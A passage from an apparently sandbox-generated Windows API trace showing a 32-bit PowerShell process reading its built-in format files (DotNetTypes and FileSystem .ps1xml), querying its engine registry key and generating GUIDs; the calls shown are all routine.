lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.301] GetLastError () returned 0x0 [0052.301] ReadFile (in: hFile=0x310, lpBuffer=0x2eb9f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2eb9f90*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.301] GetLastError () returned 0x0 [0052.301] ReadFile (in: hFile=0x310, lpBuffer=0x2eb9f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2eb9f90*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.301] GetLastError () returned 0x0 [0052.302] ReadFile (in: hFile=0x310, lpBuffer=0x2eb9f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2eb9f90*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.302] GetLastError () returned 0x0 [0052.302] ReadFile (in: hFile=0x310, lpBuffer=0x2eb9f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2eb9f90*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.302] GetLastError () returned 0x0 [0052.302] ReadFile (in: hFile=0x310, lpBuffer=0x2eb9f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2eb9f90*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.302] GetLastError () returned 0x0 [0052.302] ReadFile (in: hFile=0x310, lpBuffer=0x2eb9f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2eb9f90*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.302] GetLastError () returned 0x0 [0052.303] ReadFile (in: hFile=0x310, lpBuffer=0x2eb9f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2eb9f90*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.303] GetLastError () returned 0x0 [0052.304] ReadFile (in: hFile=0x310, lpBuffer=0x2eb9f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2eb9f90*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.304] GetLastError () returned 0x0 [0052.304] ReadFile (in: hFile=0x310, lpBuffer=0x2eb9f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2eb9f90*, lpNumberOfBytesRead=0x27e3f4*=0xbce, lpOverlapped=0x0) returned 1 [0052.304] GetLastError () returned 0x0 [0052.304] ReadFile (in: hFile=0x310, lpBuffer=0x2eb96fe, nNumberOfBytesToRead=0x32, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2eb96fe*, lpNumberOfBytesRead=0x27e3f4*=0x0, lpOverlapped=0x0) returned 1 [0052.304] GetLastError () returned 0x0 [0052.304] ReadFile (in: hFile=0x310, lpBuffer=0x2eb9f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2eb9f90*, lpNumberOfBytesRead=0x27e3f4*=0x0, lpOverlapped=0x0) returned 1 [0052.304] GetLastError () returned 0x0 [0052.304] CloseHandle (hObject=0x310) returned 1 [0052.304] GetLastError () returned 0x0 [0052.304] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27df54, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0052.304] GetLastError () returned 0x0 [0052.304] SetErrorMode (uMode=0x1) returned 0x1 [0052.305] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2edaf8c | out: lpFileInformation=0x2edaf8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a077cff, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a077cff, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e8455c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0052.305] GetLastError () returned 0x0 [0052.305] SetErrorMode (uMode=0x1) returned 0x1 [0052.305] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0052.305] GetLastError () returned 0x0 [0052.305] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e378 | out: phkResult=0x27e378*=0x310) returned 0x0 [0052.305] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e3c0, lpData=0x0, lpcbData=0x27e3bc*=0x0 | out: lpType=0x27e3c0*=0x1, lpData=0x0, lpcbData=0x27e3bc*=0x56) returned 0x0 [0052.305] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e3c0, lpData=0x2d1db8, lpcbData=0x27e3bc*=0x56 | out: lpType=0x27e3c0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e3bc*=0x56) returned 0x0 [0052.305] RegCloseKey (hKey=0x310) returned 0x0 [0052.305] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0052.305] GetLastError () returned 0x0 [0052.305] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27deb4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0052.305] GetLastError () returned 0x0 [0052.308] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xa023d0c6, Data2=0xcbd7, Data3=0x429d, Data4=([0]=0xb3, [1]=0x65, [2]=0xb4, [3]=0xe9, [4]=0xf0, [5]=0x4c, [6]=0xd, [7]=0xf2))) returned 0x0 [0052.308] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x7b93721c, Data2=0x29cb, Data3=0x44ba, Data4=([0]=0xba, [1]=0x4f, [2]=0xbd, [3]=0xad, [4]=0xa1, [5]=0x1, [6]=0x34, [7]=0xf3))) returned 0x0 [0052.308] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x1bbb9339, Data2=0xef4b, Data3=0x48f5, Data4=([0]=0xab, [1]=0xa, [2]=0x5, [3]=0xcb, [4]=0xd7, [5]=0x48, [6]=0x8d, [7]=0x39))) returned 0x0 [0052.308] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x8a0be44, Data2=0xf336, Data3=0x4b93, Data4=([0]=0xad, [1]=0x86, [2]=0x66, [3]=0x27, [4]=0x59, [5]=0x5e, [6]=0xfb, [7]=0xf0))) returned 0x0 [0052.308] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x4c6b48a0, Data2=0xb96e, Data3=0x40da, Data4=([0]=0x8b, [1]=0x7b, [2]=0x6f, [3]=0x75, [4]=0xcd, [5]=0xc8, [6]=0xc7, [7]=0x73))) returned 0x0 [0052.308] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x4efbe082, Data2=0x7c41, Data3=0x4e71, Data4=([0]=0xa2, [1]=0xf7, [2]=0x57, [3]=0x6a, [4]=0x76, [5]=0x2d, [6]=0xa8, [7]=0xf8))) returned 0x0 [0052.309] VirtualQuery (in: lpAddress=0x27d120, lpBuffer=0x27e120, dwLength=0x1c | out: lpBuffer=0x27e120*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.309] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x56947a5f, Data2=0x43f9, Data3=0x455c, Data4=([0]=0x83, [1]=0x5a, [2]=0xa, [3]=0xb2, [4]=0xa, [5]=0xf3, [6]=0xba, [7]=0xa8))) returned 0x0 [0052.309] VirtualQuery (in: lpAddress=0x27d120, lpBuffer=0x27e120, dwLength=0x1c | out: lpBuffer=0x27e120*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.309] VirtualQuery (in: lpAddress=0x27d120, lpBuffer=0x27e120, dwLength=0x1c | out: lpBuffer=0x27e120*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.309] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x45274673, Data2=0xc02, Data3=0x43ff, Data4=([0]=0x97, [1]=0xd3, [2]=0xdb, [3]=0xbe, [4]=0xc6, [5]=0x45, [6]=0xe9, [7]=0x35))) returned 0x0 [0052.309] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xeccbcf28, Data2=0x8b91, Data3=0x42d0, Data4=([0]=0xb9, [1]=0x58, [2]=0x55, [3]=0x11, [4]=0x50, [5]=0xd5, [6]=0x51, [7]=0x72))) returned 0x0 [0052.310] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xf78dcb54, Data2=0x2d5e, Data3=0x4de2, Data4=([0]=0x95, [1]=0x6, [2]=0x73, [3]=0x3a, [4]=0xa3, [5]=0x24, [6]=0x99, [7]=0x54))) returned 0x0 [0052.310] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x8190af36, Data2=0x7983, Data3=0x45ae, Data4=([0]=0x94, [1]=0xcf, [2]=0xde, [3]=0x9a, [4]=0xca, [5]=0x91, [6]=0xbc, [7]=0x7))) returned 0x0 [0052.310] VirtualQuery (in: lpAddress=0x27d120, lpBuffer=0x27e120, dwLength=0x1c | out: lpBuffer=0x27e120*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.310] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x6b5dfb0d, Data2=0xd7a2, Data3=0x48b1, Data4=([0]=0x8e, [1]=0xec, [2]=0xc1, [3]=0x43, [4]=0x69, [5]=0x13, [6]=0xed, [7]=0xd8))) returned 0x0 [0052.310] VirtualQuery (in: lpAddress=0x27d120, lpBuffer=0x27e120, dwLength=0x1c | out: lpBuffer=0x27e120*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.310] VirtualQuery (in: lpAddress=0x27d120, lpBuffer=0x27e120, dwLength=0x1c | out: lpBuffer=0x27e120*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.310] VirtualQuery (in: lpAddress=0x27d120, lpBuffer=0x27e120, dwLength=0x1c | out: lpBuffer=0x27e120*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.311] VirtualQuery (in: lpAddress=0x27d120, lpBuffer=0x27e120, dwLength=0x1c | out: lpBuffer=0x27e120*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.311] VirtualQuery (in: lpAddress=0x27d120, lpBuffer=0x27e120, dwLength=0x1c | out: lpBuffer=0x27e120*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.311] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x9ae8c350, Data2=0x594e, Data3=0x4b19, Data4=([0]=0x9e, [1]=0xfd, [2]=0xc1, [3]=0x75, [4]=0x24, [5]=0x35, [6]=0xae, [7]=0xf3))) returned 0x0 [0052.312] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x187ce1ad, Data2=0xd340, Data3=0x4e45, Data4=([0]=0xb6, [1]=0x46, [2]=0xf7, [3]=0xe7, [4]=0x34, [5]=0xaa, [6]=0x4e, [7]=0x4e))) returned 0x0 [0052.312] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x36635a6b, Data2=0x1188, Data3=0x4675, Data4=([0]=0x96, [1]=0x77, [2]=0x39, [3]=0x56, [4]=0x22, [5]=0x30, [6]=0x38, [7]=0x4b))) returned 0x0 [0052.312] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x56b9159, Data2=0xbd11, Data3=0x411b, Data4=([0]=0x93, [1]=0x8b, [2]=0x83, [3]=0x1b, [4]=0xb3, [5]=0x68, [6]=0xf4, [7]=0x48))) returned 0x0 [0052.312] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xc1b4b0af, Data2=0xcc0e, Data3=0x42fa, Data4=([0]=0xac, [1]=0xad, [2]=0x2f, [3]=0xbb, [4]=0x3b, [5]=0xde, [6]=0xcd, [7]=0x92))) returned 0x0 [0052.312] VirtualQuery (in: lpAddress=0x27d274, lpBuffer=0x27e274, dwLength=0x1c | out: lpBuffer=0x27e274*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.312] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xc76b90e, Data2=0x9834, Data3=0x45bf, Data4=([0]=0xa9, [1]=0xe5, [2]=0xd1, [3]=0x30, [4]=0x83, [5]=0xd8, [6]=0x20, [7]=0xbb))) returned 0x0 [0052.312] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xdab9706a, Data2=0xa8e1, Data3=0x4de3, Data4=([0]=0xa8, [1]=0x14, [2]=0x4e, [3]=0x62, [4]=0x87, [5]=0x42, [6]=0x63, [7]=0x90))) returned 0x0 [0052.313] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x2c6dca72, Data2=0x7e7f, Data3=0x40ba, Data4=([0]=0xb6, [1]=0xaf, [2]=0x2d, [3]=0x48, [4]=0x82, [5]=0x28, [6]=0x7, [7]=0x72))) returned 0x0 [0052.313] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x93e5ad1e, Data2=0xeaad, Data3=0x4f93, Data4=([0]=0x96, [1]=0x8c, [2]=0x31, [3]=0xaa, [4]=0x43, [5]=0x70, [6]=0x3c, [7]=0x1c))) returned 0x0 [0052.313] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xe3f3e096, Data2=0x6b23, Data3=0x409e, Data4=([0]=0xbf, [1]=0x5b, [2]=0xf4, [3]=0x2, [4]=0xd6, [5]=0x4f, [6]=0x87, [7]=0xa8))) returned 0x0 [0052.313] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xed72d9c4, Data2=0x2edd, Data3=0x4a00, Data4=([0]=0x9b, [1]=0x94, [2]=0x7e, [3]=0xc9, [4]=0x6b, [5]=0xdd, [6]=0x64, [7]=0x89))) returned 0x0 [0052.313] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x6c5a3a89, Data2=0x4613, Data3=0x49ed, Data4=([0]=0x9b, [1]=0x98, [2]=0x62, [3]=0xc8, [4]=0x75, [5]=0x1b, [6]=0xa1, [7]=0x84))) returned 0x0 [0052.313] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xa68b3302, Data2=0x8d75, Data3=0x4cfa, Data4=([0]=0xb5, [1]=0x9a, [2]=0xc, [3]=0xd, [4]=0xe0, [5]=0xdb, [6]=0xb5, [7]=0x47))) returned 0x0 [0052.313] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xd89f960f, Data2=0x14ae, Data3=0x412b, Data4=([0]=0xa8, [1]=0x61, [2]=0x87, [3]=0x5, [4]=0x8f, [5]=0x11, [6]=0xb1, [7]=0xa8))) returned 0x0 [0052.313] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xd430c789, Data2=0x2d78, Data3=0x42d2, Data4=([0]=0xa3, [1]=0x48, [2]=0xa4, [3]=0xfd, [4]=0x1f, [5]=0x82, [6]=0x55, [7]=0xb7))) returned 0x0 [0052.313] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x3851384f, Data2=0x10ed, Data3=0x43cf, Data4=([0]=0xac, [1]=0x1e, [2]=0xee, [3]=0x16, [4]=0x30, [5]=0x9c, [6]=0x17, [7]=0x36))) returned 0x0 [0052.314] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x13c844b, Data2=0x3739, Data3=0x4949, Data4=([0]=0xa3, [1]=0xb6, [2]=0x87, [3]=0x75, [4]=0x18, [5]=0x73, [6]=0x6a, [7]=0x8))) returned 0x0 [0052.314] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x257f60a9, Data2=0x70f2, Data3=0x4cac, Data4=([0]=0xad, [1]=0x16, [2]=0x64, [3]=0x82, [4]=0x24, [5]=0x4e, [6]=0xa3, [7]=0xd2))) returned 0x0 [0052.314] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xf4bdbf92, Data2=0xa40c, Data3=0x4d84, Data4=([0]=0xa5, [1]=0x37, [2]=0xf3, [3]=0x50, [4]=0x26, [5]=0x21, [6]=0xa8, [7]=0x1b))) returned 0x0 [0052.314] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x17f0984e, Data2=0x3b8f, Data3=0x4bbd, Data4=([0]=0x82, [1]=0x20, [2]=0xf1, [3]=0xe6, [4]=0x7, [5]=0x98, [6]=0x6a, [7]=0x87))) returned 0x0 [0052.314] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x6188485f, Data2=0xc3a9, Data3=0x4485, Data4=([0]=0x8d, [1]=0x51, [2]=0x77, [3]=0x47, [4]=0x86, [5]=0x45, [6]=0xa3, [7]=0xa3))) returned 0x0 [0052.314] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x7bff9d1f, Data2=0xb29b, Data3=0x4f08, Data4=([0]=0x9b, [1]=0xc4, [2]=0x45, [3]=0x4e, [4]=0xd9, [5]=0x8b, [6]=0x92, [7]=0xf7))) returned 0x0 [0052.314] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0x577cf342, Data2=0x7e12, Data3=0x4387, Data4=([0]=0x8d, [1]=0x82, [2]=0xa9, [3]=0x90, [4]=0x87, [5]=0x43, [6]=0x65, [7]=0x63))) returned 0x0 [0052.314] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xd04b1a4c, Data2=0x21ed, Data3=0x4e4f, Data4=([0]=0xa3, [1]=0xda, [2]=0x56, [3]=0x56, [4]=0x35, [5]=0xbd, [6]=0xd6, [7]=0xcf))) returned 0x0 [0052.315] VirtualQuery (in: lpAddress=0x27d120, lpBuffer=0x27e120, dwLength=0x1c | out: lpBuffer=0x27e120*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.315] VirtualQuery (in: lpAddress=0x27d120, lpBuffer=0x27e120, dwLength=0x1c | out: lpBuffer=0x27e120*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.316] VirtualQuery (in: lpAddress=0x27d120, lpBuffer=0x27e120, dwLength=0x1c | out: lpBuffer=0x27e120*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0052.318] CoCreateGuid (in: pguid=0x27e3e8 | out: pguid=0x27e3e8*(Data1=0xca2d90a2, Data2=0x1379, Data3=0x4cb8, Data4=([0]=0x8c, [1]=0x4c, [2]=0x85, [3]=0x4e, [4]=0xdd, [5]=0x17, [6]=0x54, [7]=0x96))) returned 0x0 [0052.318] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27de8c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0052.318] GetLastError () returned 0x0 [0052.318] SetErrorMode (uMode=0x1) returned 0x1 [0052.318] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x310 [0052.318] GetLastError () returned 0x0 [0052.318] GetFileType (hFile=0x310) returned 0x1 [0052.318] SetErrorMode (uMode=0x1) returned 0x1 [0052.318] GetFileType (hFile=0x310) returned 0x1 [0052.318] ReadFile (in: hFile=0x310, lpBuffer=0x2f77e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2f77e78*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.319] GetLastError () returned 0x0 [0052.320] ReadFile (in: hFile=0x310, lpBuffer=0x2f77e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2f77e78*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.320] GetLastError () returned 0x0 [0052.321] ReadFile (in: hFile=0x310, lpBuffer=0x2f77e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2f77e78*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.321] GetLastError () returned 0x0 [0052.321] ReadFile (in: hFile=0x310, lpBuffer=0x2f77e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2f77e78*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.321] GetLastError () returned 0x0 [0052.321] ReadFile (in: hFile=0x310, lpBuffer=0x2f77e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2f77e78*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.321] GetLastError () returned 0x0 [0052.321] ReadFile (in: hFile=0x310, lpBuffer=0x2f77e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2f77e78*, lpNumberOfBytesRead=0x27e3f4*=0x1000, lpOverlapped=0x0) returned 1 [0052.321] GetLastError () returned 0x0 [0052.321] ReadFile (in: hFile=0x310, lpBuffer=0x2f77e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2f77e78*, lpNumberOfBytesRead=0x27e3f4*=0x119, lpOverlapped=0x0) returned 1 [0052.321] GetLastError () returned 0x0 [0052.322] ReadFile (in: hFile=0x310, lpBuffer=0x2f77e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e3f4, lpOverlapped=0x0 | out: lpBuffer=0x2f77e78*, lpNumberOfBytesRead=0x27e3f4*=0x0, lpOverlapped=0x0) returned 1 [0052.322] GetLastError () returned 0x0 [0052.322] CloseHandle (hObject=0x310) returned 1 [0052.322] GetLastError () returned 0x0 [0052.322] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27df54, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0052.322] GetLastError () returned 0x0 [0052.322] SetErrorMode (uMode=0x1) returned 0x1 [0052.322] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2f98e74 | out: lpFileInformation=0x2f98e74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0c3fbd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0c3fbd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2eaa6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0052.322] GetLastError () returned 0x0 [0052.322] SetErrorMode (uMode=0x1) returned 0x1 [0052.322] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0052.322] GetLastError () returned 0x0 [0052.322] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e378 | out: phkResult=0x27e378*=0x310) returned 0x0 [0052.322] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e3c0, lpData=0x0, lpcbData=0x27e3bc*=0x0 | out: lpType=0x27e3c0*=0x1, lpData=0x0, lpcbData=0x27e3bc*=0x56) returned 0x0 [0052.322] RegQueryValueExW (in: hKey=0x310, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e3c0, lpData=0x2d1db8, lpcbData=0x27e3bc*=0x56 | out: lpType=0x27e3c0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e3bc*=0x56) returned 0x0 [0052.322] RegCloseKey (hKey=0x310) returned 0x0 [0052.322] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27df20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0052.322] GetLastError () returned 0x0 [0052.322] GetFullPathNameW (in: 